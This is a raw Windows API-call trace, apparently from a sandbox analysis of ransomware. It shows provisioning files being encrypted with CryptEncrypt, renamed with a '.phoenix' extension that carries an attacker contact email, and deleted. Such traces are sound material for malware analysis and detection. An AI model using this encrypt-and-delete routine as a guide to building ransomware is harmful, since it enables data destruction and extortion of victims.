	[0242.705] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0242.705] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.705] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0242.705] CryptDestroyKey (hKey=0x151180) returned 1
	[0242.705] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0242.706] CryptDestroyKey (hKey=0x151600) returned 1
	[0242.706] CloseHandle (hObject=0x2c4) returned 1
	[0242.706] CloseHandle (hObject=0x2e8) returned 1
	[0242.706] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.707] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0242.707] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.707] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=899) returned 1
	[0242.707] CloseHandle (hObject=0x2e8) returned 1
	[0242.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.708] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.708] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.708] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.708] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0242.708] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0242.708] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.708] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x383, lpOverlapped=0x0) returned 1
	[0242.714] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x390, dwBufLen=0x390 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x390) returned 1
	[0242.714] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x390, lpOverlapped=0x0) returned 1
	[0242.715] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0242.715] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.715] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0242.715] CryptDestroyKey (hKey=0x151640) returned 1
	[0242.715] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0242.715] CryptDestroyKey (hKey=0x151600) returned 1
	[0242.715] CloseHandle (hObject=0x2e8) returned 1
	[0242.715] CloseHandle (hObject=0x2c4) returned 1
	[0242.716] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.717] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0242.717] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0242.717] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=777) returned 1
	[0242.717] CloseHandle (hObject=0x2c4) returned 1
	[0242.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.717] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0242.717] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.717] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.718] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.718] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0242.718] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.718] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x309, lpOverlapped=0x0) returned 1
	[0243.366] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310, dwBufLen=0x310 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310) returned 1
	[0243.366] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x310, lpOverlapped=0x0) returned 1
	[0243.367] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0243.367] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.367] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0243.367] CryptDestroyKey (hKey=0x151440) returned 1
	[0243.367] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0243.367] CryptDestroyKey (hKey=0x151040) returned 1
	[0243.367] CloseHandle (hObject=0x2c4) returned 1
	[0243.367] CloseHandle (hObject=0x2e8) returned 1
	[0243.367] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.369] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0243.369] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0243.369] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=710) returned 1
	[0243.369] CloseHandle (hObject=0x2e8) returned 1
	[0243.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.369] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0243.369] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.370] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.370] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0243.370] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0243.370] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.370] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c6, lpOverlapped=0x0) returned 1
	[0243.701] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0243.701] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0243.702] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0243.702] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.702] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0243.702] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0243.702] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0243.702] CryptDestroyKey (hKey=0x151640) returned 1
	[0243.702] CloseHandle (hObject=0x2e8) returned 1
	[0243.702] CloseHandle (hObject=0x2c4) returned 1
	[0243.702] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.703] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0243.703] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0243.704] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=700) returned 1
	[0243.704] CloseHandle (hObject=0x2c4) returned 1
	[0243.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.704] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0243.704] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.704] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.704] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0243.704] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151080) returned 1
	[0243.705] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.705] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2bc, lpOverlapped=0x0) returned 1
	[0243.718] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0243.718] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0243.719] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0243.719] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.719] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0243.719] CryptDestroyKey (hKey=0x151500) returned 1
	[0243.719] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0243.719] CryptDestroyKey (hKey=0x151080) returned 1
	[0243.719] CloseHandle (hObject=0x2c4) returned 1
	[0243.719] CloseHandle (hObject=0x2e8) returned 1
	[0243.720] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.720] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0243.720] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0243.721] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=770) returned 1
	[0243.721] CloseHandle (hObject=0x2e8) returned 1
